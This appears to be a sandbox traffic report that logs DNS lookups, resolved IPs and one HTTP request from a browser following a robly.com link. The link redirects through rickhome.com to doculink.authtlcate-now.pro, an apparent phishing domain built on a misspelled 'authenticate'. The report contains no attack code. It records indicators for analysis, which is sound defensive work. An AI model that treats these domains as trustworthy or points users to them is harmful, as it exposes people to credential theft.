Apr 25, 2024 15:30:14.110672951 CEST	64852	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:14.172322035 CEST	53	65056	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:14.172406912 CEST	53	54877	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:14.224298954 CEST	53	64333	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:14.224553108 CEST	53	64852	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:14.661600113 CEST	52338	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:14.661780119 CEST	50086	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:14.771750927 CEST	53	50086	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:24.100634098 CEST	53	49535	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:33.953269958 CEST	58245	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:33.953397989 CEST	62826	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:34.117518902 CEST	53	58245	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:34.125890970 CEST	53	62826	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:34.701242924 CEST	60853	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:34.701407909 CEST	57575	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:34.841012001 CEST	53	57575	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:34.989777088 CEST	53	60853	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:35.944087982 CEST	57989	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:35.944263935 CEST	63359	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:35.948518991 CEST	50063	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:35.948864937 CEST	63169	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:36.054045916 CEST	53	57989	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:36.054764032 CEST	53	63359	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:36.058712959 CEST	53	50063	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:36.059530973 CEST	53	63169	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:36.461522102 CEST	52276	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:36.461673021 CEST	49536	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:36.601979971 CEST	53	52276	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:36.602190018 CEST	53	49536	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:37.119941950 CEST	62225	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:37.120161057 CEST	57134	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:37.231034040 CEST	53	62225	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:37.231205940 CEST	53	57134	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:38.360454082 CEST	64025	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:38.360763073 CEST	64670	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:38.471697092 CEST	53	64025	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:38.472318888 CEST	53	64670	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:42.928766966 CEST	53	63428	1.1.1.1	192.168.2.16
Apr 25, 2024 15:31:05.392724037 CEST	53	64713	1.1.1.1	192.168.2.16
Apr 25, 2024 15:31:06.383663893 CEST	53	58477	1.1.1.1	192.168.2.16
Apr 25, 2024 15:31:11.060587883 CEST	59663	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:31:11.060728073 CEST	55744	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:31:11.170829058 CEST	53	59663	1.1.1.1	192.168.2.16
Apr 25, 2024 15:31:11.171612024 CEST	53	55744	1.1.1.1	192.168.2.16
Apr 25, 2024 15:31:14.727570057 CEST	53	60091	1.1.1.1	192.168.2.16
Apr 25, 2024 15:31:18.013627052 CEST	138	138	192.168.2.16	192.168.2.255
Apr 25, 2024 15:31:34.496886969 CEST	53	53735	1.1.1.1	192.168.2.16
Apr 25, 2024 15:32:11.068672895 CEST	52719	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:32:11.068873882 CEST	61959	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:32:11.179075956 CEST	53	61959	1.1.1.1	192.168.2.16
Apr 25, 2024 15:32:11.179142952 CEST	53	52719	1.1.1.1	192.168.2.16
Apr 25, 2024 15:32:11.181185961 CEST	57637	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:32:11.181313992 CEST	56973	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:32:11.291680098 CEST	53	57637	1.1.1.1	192.168.2.16
Apr 25, 2024 15:32:11.291948080 CEST	53	56973	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 15:30:06.290107965 CEST	192.168.2.16	1.1.1.1	0x2662	Standard query (0)	app.robly.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:06.290457964 CEST	192.168.2.16	1.1.1.1	0x550	Standard query (0)	app.robly.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:07.502337933 CEST	192.168.2.16	1.1.1.1	0xbb23	Standard query (0)	img.robly.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.502451897 CEST	192.168.2.16	1.1.1.1	0x45a9	Standard query (0)	img.robly.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:07.678308010 CEST	192.168.2.16	1.1.1.1	0x407b	Standard query (0)	api.contentsnare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.678308010 CEST	192.168.2.16	1.1.1.1	0x1528	Standard query (0)	api.contentsnare.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:08.248795033 CEST	192.168.2.16	1.1.1.1	0x524a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.249036074 CEST	192.168.2.16	1.1.1.1	0xd10b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:08.360527039 CEST	192.168.2.16	1.1.1.1	0x4df1	Standard query (0)	contentsnare-production.s3-accelerate.amazonaws.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360670090 CEST	192.168.2.16	1.1.1.1	0x3948	Standard query (0)	contentsnare-production.s3-accelerate.amazonaws.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:09.015621901 CEST	192.168.2.16	1.1.1.1	0x9965	Standard query (0)	contentsnare-production.s3-accelerate.amazonaws.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:09.015774012 CEST	192.168.2.16	1.1.1.1	0x7f36	Standard query (0)	contentsnare-production.s3-accelerate.amazonaws.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:10.390275955 CEST	192.168.2.16	1.1.1.1	0x95ed	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.390574932 CEST	192.168.2.16	1.1.1.1	0x1cd7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:11.066668034 CEST	192.168.2.16	1.1.1.1	0x43b8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.066855907 CEST	192.168.2.16	1.1.1.1	0xf66a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:13.374097109 CEST	192.168.2.16	1.1.1.1	0x1de8	Standard query (0)	js-agent.newrelic.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:13.374387980 CEST	192.168.2.16	1.1.1.1	0xf425	Standard query (0)	js-agent.newrelic.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:13.984853983 CEST	192.168.2.16	1.1.1.1	0xdc1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:13.984992981 CEST	192.168.2.16	1.1.1.1	0xad82	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:14.061964035 CEST	192.168.2.16	1.1.1.1	0x169e	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.062096119 CEST	192.168.2.16	1.1.1.1	0x3c26	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
Apr 25, 2024 15:30:14.110522985 CEST	192.168.2.16	1.1.1.1	0x4088	Standard query (0)	app.robly.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.110672951 CEST	192.168.2.16	1.1.1.1	0xab28	Standard query (0)	app.robly.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:14.661600113 CEST	192.168.2.16	1.1.1.1	0x8ccd	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.661780119 CEST	192.168.2.16	1.1.1.1	0xe505	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
Apr 25, 2024 15:30:33.953269958 CEST	192.168.2.16	1.1.1.1	0xdae5	Standard query (0)	rickhome.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:33.953397989 CEST	192.168.2.16	1.1.1.1	0x1741	Standard query (0)	rickhome.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:34.701242924 CEST	192.168.2.16	1.1.1.1	0xfec0	Standard query (0)	doculink.authtlcate-now.pro	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:34.701407909 CEST	192.168.2.16	1.1.1.1	0x99f3	Standard query (0)	doculink.authtlcate-now.pro	65	IN (0x0001)	false
Apr 25, 2024 15:30:35.944087982 CEST	192.168.2.16	1.1.1.1	0xa626	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:35.944263935 CEST	192.168.2.16	1.1.1.1	0xc7e5	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:35.948518991 CEST	192.168.2.16	1.1.1.1	0xca1e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:35.948864937 CEST	192.168.2.16	1.1.1.1	0x7b5d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:36.461522102 CEST	192.168.2.16	1.1.1.1	0x4dd2	Standard query (0)	doculink.authtlcate-now.pro	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.461673021 CEST	192.168.2.16	1.1.1.1	0x633b	Standard query (0)	doculink.authtlcate-now.pro	65	IN (0x0001)	false
Apr 25, 2024 15:30:37.119941950 CEST	192.168.2.16	1.1.1.1	0xd35a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:37.120161057 CEST	192.168.2.16	1.1.1.1	0x54f0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 15:30:38.360454082 CEST	192.168.2.16	1.1.1.1	0x8e97	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:38.360763073 CEST	192.168.2.16	1.1.1.1	0x8467	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 15:31:11.060587883 CEST	192.168.2.16	1.1.1.1	0x291b	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:31:11.060728073 CEST	192.168.2.16	1.1.1.1	0xd19a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 15:32:11.068672895 CEST	192.168.2.16	1.1.1.1	0xa48e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.068873882 CEST	192.168.2.16	1.1.1.1	0x1299	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 15:32:11.181185961 CEST	192.168.2.16	1.1.1.1	0xe071	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.181313992 CEST	192.168.2.16	1.1.1.1	0x92a5	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 15:30:06.404916048 CEST	1.1.1.1	192.168.2.16	0x550	No error (0)	app.robly.com	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:06.404964924 CEST	1.1.1.1	192.168.2.16	0x2662	No error (0)	app.robly.com	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:06.404964924 CEST	1.1.1.1	192.168.2.16	0x2662	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		54.201.220.248	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:06.404964924 CEST	1.1.1.1	192.168.2.16	0x2662	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		54.68.44.64	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:06.404964924 CEST	1.1.1.1	192.168.2.16	0x2662	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		44.240.79.212	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:06.404964924 CEST	1.1.1.1	192.168.2.16	0x2662	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		52.36.15.33	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.614650965 CEST	1.1.1.1	192.168.2.16	0xbb23	No error (0)	img.robly.com		108.139.15.45	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.614650965 CEST	1.1.1.1	192.168.2.16	0xbb23	No error (0)	img.robly.com		108.139.15.96	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.614650965 CEST	1.1.1.1	192.168.2.16	0xbb23	No error (0)	img.robly.com		108.139.15.15	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.614650965 CEST	1.1.1.1	192.168.2.16	0xbb23	No error (0)	img.robly.com		108.139.15.39	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.790728092 CEST	1.1.1.1	192.168.2.16	0x407b	No error (0)	api.contentsnare.com		34.231.99.77	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:07.790728092 CEST	1.1.1.1	192.168.2.16	0x407b	No error (0)	api.contentsnare.com		44.196.254.224	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360712051 CEST	1.1.1.1	192.168.2.16	0x524a	No error (0)	www.google.com		142.251.15.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360712051 CEST	1.1.1.1	192.168.2.16	0x524a	No error (0)	www.google.com		142.251.15.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360712051 CEST	1.1.1.1	192.168.2.16	0x524a	No error (0)	www.google.com		142.251.15.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360712051 CEST	1.1.1.1	192.168.2.16	0x524a	No error (0)	www.google.com		142.251.15.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360712051 CEST	1.1.1.1	192.168.2.16	0x524a	No error (0)	www.google.com		142.251.15.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360712051 CEST	1.1.1.1	192.168.2.16	0x524a	No error (0)	www.google.com		142.251.15.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:08.360722065 CEST	1.1.1.1	192.168.2.16	0xd10b	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 25, 2024 15:30:08.475745916 CEST	1.1.1.1	192.168.2.16	0x4df1	No error (0)	contentsnare-production.s3-accelerate.amazonaws.com		18.244.197.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:09.128603935 CEST	1.1.1.1	192.168.2.16	0x9965	No error (0)	contentsnare-production.s3-accelerate.amazonaws.com		18.244.197.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500511885 CEST	1.1.1.1	192.168.2.16	0x95ed	No error (0)	www.google.com		172.253.124.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500511885 CEST	1.1.1.1	192.168.2.16	0x95ed	No error (0)	www.google.com		172.253.124.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500511885 CEST	1.1.1.1	192.168.2.16	0x95ed	No error (0)	www.google.com		172.253.124.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500511885 CEST	1.1.1.1	192.168.2.16	0x95ed	No error (0)	www.google.com		172.253.124.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500511885 CEST	1.1.1.1	192.168.2.16	0x95ed	No error (0)	www.google.com		172.253.124.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500511885 CEST	1.1.1.1	192.168.2.16	0x95ed	No error (0)	www.google.com		172.253.124.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:10.500610113 CEST	1.1.1.1	192.168.2.16	0x1cd7	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 25, 2024 15:30:11.176703930 CEST	1.1.1.1	192.168.2.16	0x43b8	No error (0)	www.google.com		172.253.124.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.176703930 CEST	1.1.1.1	192.168.2.16	0x43b8	No error (0)	www.google.com		172.253.124.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.176703930 CEST	1.1.1.1	192.168.2.16	0x43b8	No error (0)	www.google.com		172.253.124.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.176703930 CEST	1.1.1.1	192.168.2.16	0x43b8	No error (0)	www.google.com		172.253.124.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.176703930 CEST	1.1.1.1	192.168.2.16	0x43b8	No error (0)	www.google.com		172.253.124.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.176703930 CEST	1.1.1.1	192.168.2.16	0x43b8	No error (0)	www.google.com		172.253.124.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:11.177061081 CEST	1.1.1.1	192.168.2.16	0xf66a	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 25, 2024 15:30:13.484350920 CEST	1.1.1.1	192.168.2.16	0x1de8	No error (0)	js-agent.newrelic.com		162.247.243.39	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.094862938 CEST	1.1.1.1	192.168.2.16	0xad82	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 25, 2024 15:30:14.095144033 CEST	1.1.1.1	192.168.2.16	0xdc1	No error (0)	www.google.com		108.177.122.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.095144033 CEST	1.1.1.1	192.168.2.16	0xdc1	No error (0)	www.google.com		108.177.122.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.095144033 CEST	1.1.1.1	192.168.2.16	0xdc1	No error (0)	www.google.com		108.177.122.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.095144033 CEST	1.1.1.1	192.168.2.16	0xdc1	No error (0)	www.google.com		108.177.122.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.095144033 CEST	1.1.1.1	192.168.2.16	0xdc1	No error (0)	www.google.com		108.177.122.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.095144033 CEST	1.1.1.1	192.168.2.16	0xdc1	No error (0)	www.google.com		108.177.122.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.172322035 CEST	1.1.1.1	192.168.2.16	0x3c26	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.172322035 CEST	1.1.1.1	192.168.2.16	0x3c26	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.172406912 CEST	1.1.1.1	192.168.2.16	0x169e	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.172406912 CEST	1.1.1.1	192.168.2.16	0x169e	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.172406912 CEST	1.1.1.1	192.168.2.16	0x169e	No error (0)	fastly-tls12-bam.nr-data.net		162.247.243.29	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.224298954 CEST	1.1.1.1	192.168.2.16	0x4088	No error (0)	app.robly.com	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.224298954 CEST	1.1.1.1	192.168.2.16	0x4088	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		44.240.79.212	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.224298954 CEST	1.1.1.1	192.168.2.16	0x4088	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		54.201.220.248	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.224298954 CEST	1.1.1.1	192.168.2.16	0x4088	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		52.36.15.33	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.224298954 CEST	1.1.1.1	192.168.2.16	0x4088	No error (0)	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		54.68.44.64	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:14.224553108 CEST	1.1.1.1	192.168.2.16	0xab28	No error (0)	app.robly.com	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.771750927 CEST	1.1.1.1	192.168.2.16	0xe505	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.771750927 CEST	1.1.1.1	192.168.2.16	0xe505	No error (0)	bam.cell.nr-data.net	bam.nr-data.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.771950006 CEST	1.1.1.1	192.168.2.16	0x8ccd	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:14.771950006 CEST	1.1.1.1	192.168.2.16	0x8ccd	No error (0)	bam.cell.nr-data.net	bam.nr-data.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 15:30:34.117518902 CEST	1.1.1.1	192.168.2.16	0xdae5	No error (0)	rickhome.com		5.172.176.24	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:34.841012001 CEST	1.1.1.1	192.168.2.16	0x99f3	No error (0)	doculink.authtlcate-now.pro			65	IN (0x0001)	false
Apr 25, 2024 15:30:34.989777088 CEST	1.1.1.1	192.168.2.16	0xfec0	No error (0)	doculink.authtlcate-now.pro		172.67.159.67	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:34.989777088 CEST	1.1.1.1	192.168.2.16	0xfec0	No error (0)	doculink.authtlcate-now.pro		104.21.34.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.054045916 CEST	1.1.1.1	192.168.2.16	0xa626	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.054045916 CEST	1.1.1.1	192.168.2.16	0xa626	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.054045916 CEST	1.1.1.1	192.168.2.16	0xa626	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.054045916 CEST	1.1.1.1	192.168.2.16	0xa626	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.058712959 CEST	1.1.1.1	192.168.2.16	0xca1e	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.058712959 CEST	1.1.1.1	192.168.2.16	0xca1e	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.059530973 CEST	1.1.1.1	192.168.2.16	0x7b5d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 15:30:36.601979971 CEST	1.1.1.1	192.168.2.16	0x4dd2	No error (0)	doculink.authtlcate-now.pro		104.21.34.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.601979971 CEST	1.1.1.1	192.168.2.16	0x4dd2	No error (0)	doculink.authtlcate-now.pro		172.67.159.67	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:36.602190018 CEST	1.1.1.1	192.168.2.16	0x633b	No error (0)	doculink.authtlcate-now.pro			65	IN (0x0001)	false
Apr 25, 2024 15:30:37.231034040 CEST	1.1.1.1	192.168.2.16	0xd35a	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:37.231034040 CEST	1.1.1.1	192.168.2.16	0xd35a	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:37.231205940 CEST	1.1.1.1	192.168.2.16	0x54f0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 15:30:38.471697092 CEST	1.1.1.1	192.168.2.16	0x8e97	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:38.471697092 CEST	1.1.1.1	192.168.2.16	0x8e97	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:30:38.472318888 CEST	1.1.1.1	192.168.2.16	0x8467	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 15:31:11.170829058 CEST	1.1.1.1	192.168.2.16	0x291b	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.179142952 CEST	1.1.1.1	192.168.2.16	0xa48e	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291680098 CEST	1.1.1.1	192.168.2.16	0xe071	No error (0)	www.google.com		108.177.122.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291680098 CEST	1.1.1.1	192.168.2.16	0xe071	No error (0)	www.google.com		108.177.122.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291680098 CEST	1.1.1.1	192.168.2.16	0xe071	No error (0)	www.google.com		108.177.122.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291680098 CEST	1.1.1.1	192.168.2.16	0xe071	No error (0)	www.google.com		108.177.122.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291680098 CEST	1.1.1.1	192.168.2.16	0xe071	No error (0)	www.google.com		108.177.122.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291680098 CEST	1.1.1.1	192.168.2.16	0xe071	No error (0)	www.google.com		108.177.122.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 15:32:11.291948080 CEST	1.1.1.1	192.168.2.16	0x92a5	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

app.robly.com

https:

img.robly.com

api.contentsnare.com

www.google.com

contentsnare-production.s3-accelerate.amazonaws.com

js-agent.newrelic.com

bam.nr-data.net

rickhome.com

doculink.authtlcate-now.pro

code.jquery.com

challenges.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49700	54.201.220.248	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:06 UTC	728	OUT	GET /sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d HTTP/1.1 Host: app.robly.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
